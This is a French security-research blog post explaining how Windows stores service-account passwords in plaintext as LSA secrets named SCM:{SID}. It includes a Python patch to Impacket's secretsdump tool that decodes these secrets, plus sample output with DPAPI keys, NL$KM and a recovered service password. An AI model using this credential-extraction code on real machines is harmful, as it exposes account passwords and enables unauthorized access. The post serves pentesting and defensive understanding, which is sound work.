Mots de passe des services Windows stockés dans la LSA

Table des matières :

Introduction

Le Service Control Manager (SCM) est un serveur d’appel de procédure à distance (RPC) qui gère les services Windows. Il permet aux administrateurs et aux applications de contrôler (démarrer, arrêter, modifier, etc.) les services exécutés sur une machine Windows. Lorsqu’un service est configuré pour s’exécuter sous un compte utilisateur spécifique plutôt que sous le compte LocalSystem par défaut, le SCM doit stocker les identifiants de manière sécurisée pour pouvoir démarrer le service avec les permissions appropriées. Ces identifiants sont stockés dans le sous-système Windows Local Security Authority (LSA), que nous explorerons plus en détail dans les sections suivantes.

Stockage et format

Ce secret est stocké dans le Local Security Authority (LSA) et est nommé selon le format SCM:{<SID>}, avec :

  • SCM - Signifiant Service Control Manager (SCM)
  • SID - L’identifiant de sécurité de l’objet

Le format de ce secret est une chaîne de caractères encodée en UTF-16-LE contenant le mot de passe en clair :

Implémentation dans les outils de pentest

Secretsdump de la suite Impacket

Dans le fichier impacket/examples/secretsdump.py j’ai ajouté ces quelques lignes de python pour analyser et formater automatiquement les mots de passe des services dans la sortie de l’outil secretsdump :

elif re.match('^SCM:{([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})}', upperName) is not None:
    # Decode stored service password
    sid = re.search('^SCM:{([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})}', upperName).group(1)
    try:
        password = secretItem.decode('utf-16le').rstrip('\x00')
    except:
        pass
    else:
        secret = 'Password of service %s: %s' % (sid, password)

La sortie de l’outil secretsdump devient maintenant :

[*] DPAPI_SYSTEM
dpapi_machinekey:0xefffd26631badcd42b613d4f2c8960fa049dc6ed
dpapi_userkey:0x46b2bacd697571dea0b14beb6d136119c301e5ab
[*] NL$KM
 0000   2E 5F 46 93 4D 20 EB 46  5F 74 5F 61 83 A7 81 80   ................
 0010   B9 98 AB 93 78 24 5D 3D  34 E2 1A 63 F6 4D DE CF   ................
 0020   3C 20 8A 3C 63 EB 33 D4  FC 3E FB 99 42 E3 9E 30   ................
 0030   44 74 A8 C0 32 E7 48 43  3B 2D DC B0 6B CF 42 E5   ................
NL$KM:2e5f46934d20eb465f745f6183a78180b998ab9378245d3d34e21a63f64ddecf3c208a3c63eb33d4fc3efb9942e39e304474a8c032e748433b2ddcb06bcf42e5
[*] SCM:{B092549F-61DB-41B0-96FD-02EB41E19783}
SCM Password of service B092549F-61DB-41B0-96FD-02EB41E19783: P@ssW0rD0fS3rv1c3!!!
[*] Cleaning up...
[*] Stopping service RemoteRegistry

J’ai créé une pull request pour ajouter cette fonctionnalité directement dans impacket.

Références